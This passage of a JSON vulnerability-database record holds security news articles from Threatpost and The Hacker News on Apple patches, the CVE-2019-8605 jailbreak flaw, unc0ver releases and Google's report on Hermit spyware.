rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-26T19:32:17", "type": "threatpost", "title": "Apple Fixes iOS Flaw That Opened iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T19:32:17", "id": "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "href": "https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-30T05:50:32", "description": "**UPDATE**\n\nApple tackled a bevy of vulnerabilities across all its platforms Tuesday, including one that allowed a remote attacker to initiate a FaceTime call by exploiting a bug in some model iPhones, iPads, and iPad Air devices. The wide-ranging security fixes came on the same day Apple announced a new laptop and Mac Mini, and a new iPad Pro.\n\nMost notable of the vulnerabilities fixed by Apple was the FaceTime vulnerability, [CVE-2018-4367](<https://support.apple.com/en-gb/HT209192>), found by Google Project Zero researcher Natalie Silvanovich. According to Apple, a memory corruption bug in affected devices allows a \u201cremote attacker may be able to initiate a FaceTime call causing arbitrary code execution.\u201d\n\nAccording to [Apple\u2019s security notes](<https://support.apple.com/en-us/HT209192>), Tuesday\u2019s patch address the FaceTime bug in iPhone 5s and later, iPad Air and later, and iPod touch 6th generation.\n\nA second FaceTime bug ([CVE-2018-4366](<https://nvd.nist.gov/vuln/detail/CVE-2018-4366>)) was also discovered by Silvanovich and patched by Apple. The security bulletin description of the bug is scant and only states \u201ca remote attacker may be able to leak memory\u201d because of a memory corruption issue impacting input validation.\n\nThe FaceTime flaw, CVE-2018-4366, could allow an attacker to use FaceTime to leak memory. The CVE affect all iPhones from the 5s on, iPads from the iPad Air, and the sixth generation iPod Touch.\n\nApple has also shut down two vulnerabilities that could allow a hacker to bypass an iPhone\u2019s lock screen, and access a user\u2019s Photos or Notes. The exploits were first revealed by researcher Jose [Rodriguez on YouTube](<https://threatpost.com/iphone-xs-passcode-bypass-hack-exposes-contacts-photos/137790/>).\n\nFlaws in iOS\u2019 IPSEC, kernel, and graphics drivers are among other CVEs addressed in the update. Apple has also shut down vulnerabilities in WebKit \u2013 which drives the Safari browser on iOS and MacOS. These included address bar spoofing, and a flaw, CVE-2018-4409 found by Sabri Haddouche of Wire Swiss, which could lead a malicious website to carry out a denial of service attack.\n\nThe iOS 12.1 update also shuts down CVEs in Messages, Notes, and Wi-Fi. Apple also addressed an issue in iOS\u2019 core crypto, where an attacker could have used a weakness in the Miller-Rabin prime number test [to compromise encryption](<https://www.massi.moe/blog/primality-testing-in-apple-core-crypto>).\n\nMac computer users also received security updates, with a new version of Mac OSX Mojave \u2013 10.14.1 \u2013 and security releases for Sierra and High Sierra. The Mac updates include a fix for the Miller-Rabin prime number flaw, as well as CVEs that affect the hypervisor, Intel graphics drivers, the printing system CUPS, IO and the Mac\u2019s EFI. There are seven sets of patches for the Mac OS kernel.\n\nOne of the October macOS patches included a kernal fix (CVE-2018-4407) for Sierra 10.12.6, macOS High Sierra 10.13.6. Apple said the patch corrected a memory corruption issue that could allow an attacker \u2013 in a privileged network position \u2013 to be able to execute arbitrary code.\n\nResearcher Kevin Backhouse is credited for finding the kernel RCE buffer overflow, CVE-2018-4407, back in September.\n\n\u201cThe vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel,\u201d wrote [Backhouse in his blog](<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>).\n\n\u201cTo trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required\u2026 Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device.\u201d\n\nHe advises owners of unmatched iOS and macOS devices to avoid public Wi-Fi networks.\n\nApple has also released updates for WatchOS and for the tvOS, as well as updated versions of iTunes and iCloud for Windows. However, the Watch update \u2013 WatchOS5.1 \u2013 has been withdrawn.\n\nSome users of fourth-generation Apple Watches reported that the update caused their devices to enter a boot-up loop. Affected users can contact Apple Care, and the company said it will release a patched version of WatchOS5.1 shortly.\n\n(_This article was updated with researcher commentary on 10/31/18 at 1:48 pm ET._)\n", "cvss3": {}, "published": "2018-10-31T16:52:43", "type": "threatpost", "title": "Apple Fixes Multiple macOS, iOS Bugs Including a Quirky FaceTime Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-4366", "CVE-2018-4367", "CVE-2018-4407", "CVE-2018-4409"], "modified": "2018-10-31T16:52:43", "id": "THREATPOST:907E52357A8E3B0D645D06105F499AAC", "href": "https://threatpost.com/apple-fixes-multiple-macos-ios-bugs-including-a-quirky-facetime-bug/138699/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-24T11:07:31", "description": "Google is warning victims in Kazakhstan and Italy that they are being targeted by Hermit, a sophisticated and modular spyware from Italian vendor RCS Labs that not only can steal data but also record and make calls.\n\nResearchers from Google Threat Analysis Group (TAG) revealed details [in a blog post](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) Thursday by TAG researchers Benoit Sevens and Clement Lecigne about campaigns that send a unique link to targets to fake apps impersonating legitimate ones to try to get them to download and install the spyware. None of the fake apps were found on either Apple\u2019s or Google\u2019s respective mobile app stores, however, they said.\n\n\u201cWe are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android,\u201d a Google TAG spokesperson wrote in an email to Threatpost sent Thursday afternoon.\n\nAll campaigns that TAG observed originated with a unique link sent to the target that then tries to lure users into downloading Hermit spyware in one of two ways, researchers wrote in the post. Once clicked, victims are redirected to a web page for downloading and installing a surveillance app on either Android or iOS.\n\n\u201cThe page, in Italian, asks the user to install one of these applications in order to recover their account,\u201d with WhatsApp download links specifically pointing to attacker-controlled content for Android or iOS users, researchers wrote.\n\n## **Collaborating with ISPs**\n\nOne lure employed by threat actors is to work with the target\u2019s ISP to disable his or her mobile data connectivity, and then masquerade as a carrier application sent in a link to try to get the target to install a malicious app to recover connectivity, they said.\n\nResearchers outlined in a separate blog post by Ian Beer of [Google Project Zero](<https://googleprojectzero.blogspot.com/>) a case in which they discovered what appeared to be an iOS app from Vodafone but which in fact is a fake app. Attackers are sending a link to this malicious app by SMS to try to fool targets into downloading the Hermit spyware.\n\n\u201cThe SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app,\u201d Beer wrote.\n\nIndeed, this is likely the reason why most of the applications they observed in the Hermit campaign masqueraded as mobile carrier applications, Google TAG researchers wrote.\n\nIn other cases when they can\u2019t work directly with ISPs, threat actors use apps appearing to be messaging applications to hide Hermit, according to Google TAG, confirming what Lookout previously discovered in its research.\n\n## **iOS Campaign Revealed**\n\nWhile Lookout previously shared details of how Hermit targeting Android devices works, Google TAG revealed specifics of how the spyware functions on iPhones.\n\nThey also released details of the host of vulnerabilities\u2014two of which were zero-day bugs when they were initially identified by Google Project Zero\u2014that attackers exploit in their campaign. In fact, Beer\u2019s post is a technical analysis of one of the bugs: [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3 and [fixed](<https://support.apple.com/en-us/HT212976>) by Apple [in December 2021](<https://threatpost.com/apple-ios-updates-iphone-13-jailbreak-exploit/177051/>).\n\nTo distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with a manifest file with com.ios.Carrier as the identifier, researchers outlined.\n\nThe resulting app is signed with a certificate from a company named 3-1 Mobile SRL that was enrolled in the Apple Developer Enterprise Program, thus legitimizing the certificate on iOS devices, they said.\n\nThe iOS app itself is broken up into multiple parts, researchers said, including a generic privilege escalation exploit wrapper which is used by six different exploits for previously identified bugs. In addition to Clieked3, the other bugs exploited are:\n\n * [CVE-2018-4344 ](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>)internally referred to and publicly known as LightSpeed;\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet;\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste;\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare; and\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n\nAll exploits used before 2021 are based on public exploits written by different jailbreaking communities, researchers added.\n\n## **Broader Implications**\n\nThe emergence of Hermit spyware shows how threat actors\u2014often working as state-sponsored entities\u2014are pivoting to using new surveillance technologies and tactics following the blow-up over repressive regimes\u2019 use of Israel-based NSO Group\u2019s [Pegasus spyware](<https://threatpost.com/protecting-phones-from-pegasus-like-spyware-attacks/167909/>) in cyberattacks against dissidents, activists and NGOs, as well as the [murders](<https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus>) of [journalists](<https://cpj.org/2021/07/pegasus-project-risk-corruption-reporters/>).\n\nIndeed, while use of spyware like Hermit may be legal under national or international laws, \u201cthey are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians,\u201d Google TAG researchers wrote.\n\nThe United States [blacklisted](<https://threatpost.com/pegasus-spyware-blacklisted-us/175999/>) NSO Group over the activity, which drew international attention and ire. But it apparently has not stopped the proliferation of spyware for nefarious purposes in the slightest, according to Google TAG.\n\nIn fact, the commercial spyware industry continues to thrive and grow at a significant rate, which \u201cshould be concerning to all Internet users,\u201d researchers wrote.\n\n\u201cThese vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house,\u201d they said.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:02:00", "type": "threatpost", "title": "Google Warns Spyware Being Deployed Against Android, iOS Users", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-24T11:02:00", "id": "THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "href": "https://threatpost.com/google-hermit-spyware-android-ios/180062/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-11T11:47:19", "description": "Apple has rolled out 173 patches across in various products across its hardware portfolio, including for dangerous bugs in macOS for laptops and desktops, iPhone, Apple TV and Apple Watch.\n\nThe update also includes a patch for the side-channel vulnerabilities in Intel chips [disclosed on Tuesday](<https://threatpost.com/intel-cpus-impacted-by-new-class-of-spectre-like-attacks/144728/>), which open the door to the attack vectors collectively dubbed \u201cZombieLoad.\u201d\n\nAll Mac laptops stretching back to 2011 are affected by the Intel flaws.\n\n## Side-Channel Flaw\n\nOf particular note in the massive update is a patch for four side-channel bugs that affect the microcode of macOS Mojave 10.14.4 (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 and CVE-2019-11091).\n\nThese impact load ports, fill buffers, and store buffers in systems with microprocessors utilizing speculative execution. They stem from side-channel vulnerabilities, dubbed Microarchitectural Data Sampling (MDS), impacting all modern Intel chips. Attackers could use speculative execution to potentially leak sensitive data from a system\u2019s CPU.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker with local user access to potentially enable information disclosure via a side channel,\u201d according to the [Apple advisory](<https://support.apple.com/en-us/HT210119>). \u201cMultiple information-disclosure issues were addressed partially by updating the microcode and changing the OS scheduler to isolate the system from web content running in the browser.\u201d\n\nThe [four different attack vectors](<https://cpu.fail/>) are dubbed ZombieLoad, Fallout, RIDL (Rogue In-Flight Data Load) and Store-to-Leak Forwarding, and have been detailed and publicly disclosed on Tuesday by an array of security researchers.\n\nTo completely address these issues, there are additional [opt-in mitigations](<https://support.apple.com/kb/HT210107>) to disable hyper threading and enable microcode-based mitigations for all processes by default.\n\n## iOS 12.3 Update (42 Fixes)\n\nApple has also rolled out a [cornucopia of patches](<https://support.apple.com/en-us/HT210118>) for iPhone 5s and later, the iPad Air and later, and the sixth-generation iPod touch.\n\nThe most severe are bugs that are also present in the Apple Watch. These include flaws in the kernel (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges on a target device. It\u2019s a use-after-free issue that was addressed with improved memory management.\n\nAnother shared flaw with Apple Watch is a use-after-free issue in the Mail Message Framework (CVE-2019-8613), which would allow a remote attacker to cause arbitrary code execution. And in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\nYet another flaw shared with Apple Watch (CVE-2019-8620) would allow a device to be passively tracked by its Wi-Fi MAC address.\n\nAside from these, also interesting is a Lock Screen logic problem (CVE-2019-8599) that would allow a person with physical access to an iOS device to see the email address used for iTunes.\n\nAn input validation bug (CVE-2019-8626) in the Mail function meanwhile could lead to denial of service. An attacker could exploit this by sending the target victim a maliciously crafted mail message.\n\nOther patches address vulnerabilities that could be exploited to achieve everything from privilege escalation and escaping sandboxes to overwriting files and information disclosure.\n\n## Safari 12.1.1 Update (21 Fixes)\n\nApple also patched [multiple flaws](<https://support.apple.com/en-us/HT210123>) in the operating systems that power its Macbooks and desktops: macOS Sierra 10.12.6, macOS High Sierra 10.13.6 and macOS Mojave 10.14.5 are vulnerable. All of the bugs are in WebKit, and they can all be exploited via processing maliciously crafted web content.\n\nOne flaw is an out-of-bounds read vulnerability (CVE-2019-8607); and there are also 20 different memory-corruption issues that may lead to arbitrary code-execution. Apple didn\u2019t provide further details.\n\n## tvOS 12.3 Update (35 Fixes)\n\nThe Apple TV 4K and Apple TV HD platforms meanwhile are [riddled with vulnerabilities;](<https://support.apple.com/en-us/HT210120>) 35 of them in all.\n\nMost of them are memory corruption issues (a total of 20) that could allow arbitrary code-execution via maliciously crafted web content.\n\nAnother two memory bugs (in AppleFileConduit, CVE-2019-8593 and in sysdiagnose, CVE-2019-8574) could allow an application to execute arbitrary code with system privileges.\n\nThree bugs were patched in the kernel: A use-after-free issue (CVE-2019-8605) that could lead to arbitrary code-execution with system privileges; an out-of-bounds read (CVE-2019-8576) that could allow a local user to cause unexpected system termination or read kernel memory; and a type confusion issue (CVE-2019-8591) that could allow an application to cause unexpected system termination or write kernel memory.\n\nAlso notable is an out-of-bounds read that could lead to arbitrary code execution in CoreAudio (CVE-2019-8585); and in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\n## watchOS 5.2.1 Update (21 Fixes)\n\nApple Watch Series 1 and later has [a slew of issues](<https://support.apple.com/en-us/HT210122>), many shared with non-updated versions of iOS.\n\nThe most severe of the bunch include a memory corruption issue CVE-2019-8593 in the AppleFileConduit component that could allow an application to execute arbitrary code with system privileges; and an out-of-bounds read bug (CVE-2019-8585) in CoreAudio allowing a maliciously crafted movie file to lead to arbitrary code execution.\n\nThere are also three vulnerabilities in the kernel: A use-after-free issue (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges (also fixed in iOS); an out-of-bounds read (CVE-2019-8576) that would allow a local user to cause unexpected system termination or read the kernel memory; and a type confusion issue (CVE-2019-8591) that would allow a malicious application to cause unexpected system termination or write kernel memory.\n\nWatch also suffers from the same use-after-free bug in the Mail Message Framework (CVE-2019-8613) that allows remote code-execution; this is also fixed in the iOS update.\n\nAnd, also fixed is the user-privacy issue present in iOS (CVE-2019-8620) that would allow a device to be passively tracked by its Wi-Fi MAC address.\n\n## Apple TV Software 7.3 Update (3 Fixes)\n\nAnd finally, the third-generation Apple TV has [three vulnerabilities](<https://support.apple.com/en-us/HT210121>), existing in both the Bluetooth and Wi-Fi functions.\n\nAn input validation issue in Bluetooth (CVE-2017-14315) could allow a remote attacker to cause an unexpected application termination or arbitrary code execution. And as for Wi-Fi, an attacker within range may be able to execute arbitrary code on the Wi-Fi chip via a memory corruption problem (CVE-2017-9417), or via a stack buffer overflow (CVE-2017-6975)\n\n## Other Fixes\n\nApple also fixed [50 additional vulnerabilities](<https://support.apple.com/en-us/HT210119>) in macOS Mojave 10.14.5; Security Update 2019-003 High Sierra; Security Update 2019-003 Sierra; macOS Sierra 10.12.6; macOS High Sierra 10.13.6; and macOS Mojave 10.14.4.\n\n**_Want to know more about Identity Management and navigating the shift beyond passwords? Don\u2019t miss _**[**_our Threatpost webinar on May 29 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/8039101655437489665?source=ART>)**_. Join Threatpost editor Tom Spring and a panel of experts as they discuss how cloud, mobility and digital transformation are accelerating the adoption of new Identity Management solutions. Experts discuss the impact of millions of new digital devices (and things) requesting access to managed networks and the challenges that follow._**\n", "cvss3": {}, "published": "2019-05-14T20:31:36", "type": "threatpost", "title": "Apple Patches Intel Side-Channel Bugs; Updates iOS, macOS and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-14315", "CVE-2017-6975", "CVE-2017-9417", "CVE-2018-12126", "CVE-2018-12127", "CVE-2018-12130", "CVE-2019-11091", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8599", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8626", "CVE-2019-8637"], "modified": "2019-05-14T20:31:36", "id": "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "href": "https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:49", "description": "[](<https://thehackernews.com/images/-c0fr2BEqnyE/XWTIRC538-I/AAAAAAAA01Q/O2W_B4FY4VsmFiatZb4HkKbpHlj9WouPgCLcBGAs/s728-e100/apple-ios-jailbreak-update.jpg>)\n\nApple just patched an unpatched flaw that it patched previously but accidentally unpatched recently \u2014 did I confuse you? \n \nLet's try it again... \n \nApple today finally released iOS 12.4.1 to fix a [critical jailbreak vulnerability](<https://thehackernews.com/2019/08/ios-iphone-jailbreak.html>), like it or not, that was initially patched by the company in iOS 12.3 but was then accidentally got reintroduced in the previous iOS 12.4 update. \n \nFor those unaware, roughly a week ago, an anonymous researcher who goes by the online alias \"Pwn20wnd\" released a free jailbreak for iOS 12.4 on GitHub that exploited a kernel vulnerability (CVE-2019-8605) that Apple patched in iOS 12.3 in May this year. \n \nHowever, the vulnerability accidentally got reintroduced in iOS 12.4 in July, making it easier for hackers to jailbreak updated Apple devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier. \n \nNow, Apple has released iOS 12.4.1 to re-patch the security issue that not only allowed for jailbreaking but could have also allowed hackers or malicious applications to execute arbitrary code on a target Apple device with the highest level of privileges, i.e., system privileges. \n \n[Jailbreaking an iPhone](<https://thehackernews.com/2019/01/ios12-jailbreak-exploit.html>) gives you more control over your device by allowing you to install apps and other functions that are usually not approved by Apple, but it comes with its downside. \n \nJailbreaking also disables some system protections that the company has put in place to protect its users, exposing users to malicious apps from the App Store and eventually opening them to potential security risks. \n \nThough Jailbreakers are advising users not to apply iOS 12.4.1 as it closes the exploit, I would personally recommend you to apply the security update as soon as possible if you really care about security. \n \nTo install the latest update, which features \"important security and stability updates,\" navigate to your device's Settings \u2192 General \u2192 Software Update and tap \"Download and Install\" given right at the bottom. \n \nAlternatively, you can also update your Apple device to iOS 12.4.1 through iTunes by connecting your iOS device to a computer and checking for the update. \n \nIn its [security update](<https://support.apple.com/en-us/HT210549>) note, Apple also acknowledged Pwn20wnd, who released the public jailbreak, for bringing the vulnerability to their attention. \"We would like to acknowledge @Pwn20wnd for their assistance,\" the company wrote. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-27T06:06:00", "type": "thn", "title": "Apple Releases iOS 12.4.1 Emergency Update to Patch 'Jailbreak' Flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-27T06:06:41", "id": "THN:79F83648DEAA2E305471E325D6B2DE48", "href": "https://thehackernews.com/2019/08/apple-ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:27", "description": "[](<https://thehackernews.com/images/-9Pez-OxHVvE/Xst5DI1xVQI/AAAAAAAAAXA/0cbqJNzliBcyO6cOMlUz-TQIIBWRPCtBgCLcBGAsYHQ/s728-e100/ios-jailbreak-tools.png>)\n\nThe hacking team behind the \"unc0ver\" jailbreaking tool has released a new version of the software that can unlock every single iPhone, including those running the latest iOS 13.5 version. \n \nCalling it the first zero-day jailbreak to be released since iOS 8, unc0ver's lead developer [Pwn20wnd](<https://twitter.com/Pwn20wnd/status/1264258454610259968>) said \"every other jailbreak released since iOS 9 used 1day exploits that were either patched in the next beta version or the hardware.\" \n \nThe group did not specify which vulnerability in iOS was exploited to develop the latest version. \n \nThe [unc0ver website](<https://unc0ver.dev/>) also highlighted the extensive testing that went behind the scenes to ensure compatibility across a broad range of devices, from iPhone 6S to the new iPhone 11 Pro Max models, spanning versions iOS 11.0 through iOS 13.5, but excluding versions 12.3 to 12.3.2 and 12.4.2 to 12.4.5. \n \n\"Utilizing native system sandbox exceptions, security remains intact while enabling access to jailbreak files,\" according to unc0ver, meaning installing the new jailbreak will likely not compromise [iOS' sandbox protections](<https://developer.apple.com/library/archive/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html>). \n \nJailbreaking, analogous to rooting on Google's Android, is a privilege escalation that works by exploiting flaws in iOS to grant users root access and full control over their devices. This allows iOS users to remove software restrictions imposed by Apple, thereby allowing access to additional customization and otherwise prohibited apps. \n \nBut it also weakens the device's security, opening the door to all kinds of malware attacks. The added security risks, coupled with Apple's steady hardware and software lockdown, have made it difficult to jailbreak devices deliberately. \n \nFurthermore, jailbreaks tend to be very specific and based on previously disclosed vulnerabilities, and very much dependent on the iPhone model and iOS version, in order for them to be successfully replicated. \n \nThe development comes as zero-day exploit broker Zerodium said it would no longer purchase [iOS RCE vulnerabilities](<https://twitter.com/Zerodium/status/1260541578747064326>) for the next few months, citing \"a high number of submissions related to these vectors.\" \n \nLast August, Pwn20wnd exploited a SockPuppet flaw (CVE-2019-8605) uncovered by Googler Ned Williamson to release a [public version of the jailbreak](<https://thehackernews.com/2019/08/ios-iphone-jailbreak.html>) \u2014 making it the first time an up-to-date firmware was unlocked in years \u2014 after Apple accidentally reintroduced a previously patched flaw in iOS 12.4. The company later rolled out a fix in [iOS 12.4.1](<https://support.apple.com/en-us/HT210549>) to address the privilege escalation vulnerability. \n \nThen in September, a security researcher published details of a permanent unpatchable bootrom exploit, dubbed [checkm8](<https://thehackernews.com/2019/09/bootrom-jailbreak-ios-exploit.html>), that could be employed to jailbreak virtually every type of Apple mobile device released between 2011 and 2017, including iPhones, iPads, Apple Watches, and Apple TVs. \n \nWhile the new jailbreak leverages an as-yet-unknown zero-day vulnerability, the iPhone maker will likely roll out a security update in the coming weeks to plug the flaw exploited by unc0ver. \n \nThe new Unc0ver 5.0.0 jailbreak can be installed from iOS, macOS, Linux, and Windows devices. The usage instructions are available on the [unc0ver website](<https://unc0ver.dev/>) here.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-05-25T08:02:00", "type": "thn", "title": "New Tool Can Jailbreak Any iPhone and iPad Using An Unpatched 0-Day Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-05-25T08:02:17", "id": "THN:754EDA3BD8060BD079B3DB44EE616405", "href": "https://thehackernews.com/2020/05/iphone-ios-jailbreak-tools.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:49", "description": "[](<https://thehackernews.com/images/-7tUyE06-O2I/XVwI37N5QoI/AAAAAAAA0yY/K0ABU8eE75gwAbGWQgBupFoTCy2paVSzQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.jpg>)\n\nA fully functional jailbreak has been released for the latest iOS 12.4 on the Internet, making it the first public jailbreak in a long time\u2014thanks to Apple. \n \nDubbed \"**unc0ver 3.5.0**,\" the jailbreak works with the updated iPhones, iPads and iPod Touches by leveraging a vulnerability that Apple previously patched in iOS 12.3 but accidentally reintroduced in the latest iOS version 12.4. \n \nJailbreaking an iPhone allows you to install apps and other functions that are usually not approved by Apple, but it also disables some system protections that Apple put in place to protect its users, opening you up to potential attacks. \n \nUsually, iPhone Jailbreaks are sold for millions of dollars by exploit brokers, but if you want to jailbreak your Apple device, you can do it for free. \n \nAn anonymous researcher who goes by the online alias \"Pwn20wnd\" has released a free [jailbreak for iOS 12.4](<https://github.com/pwn20wndstuff/Undecimus/releases>) on GitHub that exploits a use-after-free vulnerability in iOS kernel responsibly reported to Apple earlier this year by Ned Williamson, a researcher working with Google Project Zero. \n \nThe vulnerability, tracked as [CVE-2019-8605](<https://support.apple.com/en-in/HT210118>), allows an application to execute arbitrary code with system privileges on a target Apple device, which can not only be used to jailbreak them but also leaves users vulnerable to hackers. \n \nAccording to researchers, besides embedding the exploit into an innocent-looking app, the vulnerability can also be exploited remotely by combining it with sandbox bypass flaws in Apple Safari web browser or other Internet exposed services. \n\n\n[](<https://thehackernews.com/images/-6cxvnUPC8kQ/XVwDH8dMcNI/AAAAAAAA0yQ/W7MZUODZfec84YOiEtTKCpK3P3uIsZwYQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.png>)\n\nThough Apple patched this vulnerability in iOS 12.3, it accidentally reintroduced the same bug in iOS 12.4, making it easier for hackers to compromise Apple devices. \n \n\n\n> As Pwn20wnd [told](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>) Motherboard, \"somebody could make perfect spyware by exploiting this vulnerability.\"\n\n \n\n\n> \"For example, he said, a malicious app could include an exploit for this bug that allows it to escape the usual iOS sandbox\u2014a mechanism that prevents apps from reaching data of other apps or the system\u2014and steal user data.\"\n\n \nThe new jailbreak works on updated iOS devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier, but does not work at all on devices running 